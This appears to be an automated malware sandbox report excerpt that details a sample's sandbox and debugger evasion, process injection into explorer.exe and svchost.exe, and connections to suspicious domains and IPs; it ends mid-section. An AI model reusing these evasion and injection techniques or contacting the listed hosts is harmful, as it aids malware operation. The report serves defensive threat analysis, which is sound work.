Source: C:\Users\user\Desktop\emPJndhuvA.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00406AA0		29_2_00406AA0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00586CF0		29_2_00586CF0

Found evasive API chain (may stop execution after checking computer name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe

Evasive API call chain: GetComputerName,DecisionNodes,Sleep

Source: C:\Users\user\AppData\Local\Temp\952.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Windows\System32\svchost.exe TID: 5768	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\13E2.exe TID: 5712	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\952.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_0-9809
Source: C:\Users\user\AppData\Local\Temp\952.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\Temp\13E2.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 572			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 386			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2819.exe	API coverage: 6.3 %
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	API coverage: 6.4 %
Source: C:\Users\user\AppData\Local\Temp\952.exe	API coverage: 9.6 %

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe

Code function: 29_2_00586CF0

29_2_00586CF0

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B1F6.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\6B74.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7E61.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\45F8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\CA61.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5F8C.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\9054.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Evaded block: after key decision
Source: C:\Users\user\AppData\Local\Temp\952.exe	Evaded block: after key decision

Source: C:\Users\user\AppData\Local\Temp\952.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess
Source: C:\Users\user\AppData\Local\Temp\952.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\13E2.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	API call chain: ExitProcess graph end node

Source: explorer.exe, 00000003.00000000.294064250.0000000003710000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000010.00000002.607855715.0000013839890000.00000004.00000001.sdmp	Binary or memory string: VMware, Inc.
Source: explorer.exe, 00000003.00000000.261600707.0000000003767000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 0000000A.00000003.302988191.00000159C226C000.00000004.00000001.sdmp	Binary or memory string: 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
Source: svchost.exe, 00000002.00000002.640514055.000001F8DF662000.00000004.00000001.sdmp	Binary or memory string: @Hyper-V RAW
Source: svchost.exe, 00000010.00000002.607855715.0000013839890000.00000004.00000001.sdmp	Binary or memory string: VMware7,1
Source: svchost.exe, 00000002.00000002.582567368.000001F8D9E2A000.00000004.00000001.sdmp, svchost.exe, 00000002.00000002.639615437.000001F8DF64A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.574484740.00000159C226D000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302843963.00000159C226C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303134586.00000159C226D000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302988191.00000159C226C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303061026.00000159C226D000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303206364.00000159C226C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.585731929.00000159C22D5000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.566259297.00000159C222A000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.421058457.0000000005382000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000002.424965095.0000000003518000.00000004.00000020.sdmp, WerFault.exe, 0000001B.00000003.421280412.0000000005382000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.571256682.0000024F6C402000.00000004.00000001.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: explorer.exe, 00000003.00000000.292819293.00000000011B3000.00000004.00000020.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000tft\0
Source: explorer.exe, 00000003.00000000.300341467.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000%
Source: explorer.exe, 00000003.00000000.261897503.00000000053C4000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}>'R\"
Source: explorer.exe, 00000003.00000000.300341467.00000000089B5000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000002
Source: svchost.exe, 00000009.00000002.578606609.0000024F6C43C000.00000004.00000001.sdmp, svchost.exe, 0000000B.00000002.610402558.00000139B4E67000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000002.579577189.0000015B93A29000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: WerFault.exe, 0000001B.00000003.418858393.0000000005381000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllrr

Source: C:\Users\user\Desktop\emPJndhuvA.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\952.exe

Code function: 30_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

30_2_00401D96

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	29_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	29_2_00401280
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	29_2_00401090
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	29_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_00409970
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00588A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_00588A30
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_005814D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	29_2_005814D0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_005812E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	29_2_005812E0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00586090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_00586090
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00589930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	29_2_00589930
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00589BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	29_2_00589BC0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00589D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	29_2_00589D90

Source: C:\Users\user\Desktop\emPJndhuvA.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\emPJndhuvA.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\emPJndhuvA.exe

0_2_0040A3DE

Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00520083 push dword ptr fs:[00000030h]	0_2_00520083
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00530042 push dword ptr fs:[00000030h]	0_2_00530042
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 20_2_00450083 push dword ptr fs:[00000030h]	20_2_00450083
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 20_2_00460042 push dword ptr fs:[00000030h]	20_2_00460042
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_0208092B mov eax, dword ptr fs:[00000030h]	22_2_0208092B
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_02080D90 mov eax, dword ptr fs:[00000030h]	22_2_02080D90
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00450083 push dword ptr fs:[00000030h]	25_2_00450083
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00460042 push dword ptr fs:[00000030h]	25_2_00460042
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00401000 mov eax, dword ptr fs:[00000030h]	29_2_00401000
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_0040C180 mov eax, dword ptr fs:[00000030h]	29_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00560083 push dword ptr fs:[00000030h]	29_2_00560083
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_0058092B mov eax, dword ptr fs:[00000030h]	29_2_0058092B
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00581250 mov eax, dword ptr fs:[00000030h]	29_2_00581250
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_0058C3D0 mov eax, dword ptr fs:[00000030h]	29_2_0058C3D0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00580D90 mov eax, dword ptr fs:[00000030h]	29_2_00580D90
Source: C:\Users\user\AppData\Local\Temp\952.exe	Code function: 30_2_00530083 push dword ptr fs:[00000030h]	30_2_00530083

Source: C:\Users\user\Desktop\emPJndhuvA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\emPJndhuvA.exe

Code function: 0_2_004034DB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_004034DB

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe

Code function: 29_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

29_2_004048D0

Source: C:\Users\user\Desktop\emPJndhuvA.exe

Code function: 0_2_0040F660 CreateFileA,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_0040F660

Source: C:\Users\user\AppData\Local\Temp\13E2.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00408843 SetUnhandledExceptionFilter,	0_2_00408843
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_004034DB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004034DB
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_004038E4 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004038E4
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_0040730C __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040730C
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_0040976C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_0040976C
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_0040795C __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_0040795C
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_0040378B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	25_2_0040378B
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00403B94 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	25_2_00403B94
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00408798 SetUnhandledExceptionFilter,	25_2_00408798
Source: C:\Users\user\AppData\Local\Temp\952.exe	Code function: 30_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	30_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: privacy-tools-for-you-780.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Domain query: a0621298.xsph.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: tiftjuh.3.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\emPJndhuvA.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tiftjuh	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Allocates memory in foreign processes

Show sources

Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe

Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 1E0000 protect: page execute and read and write

Injects a PE file into a foreign processes

Show sources

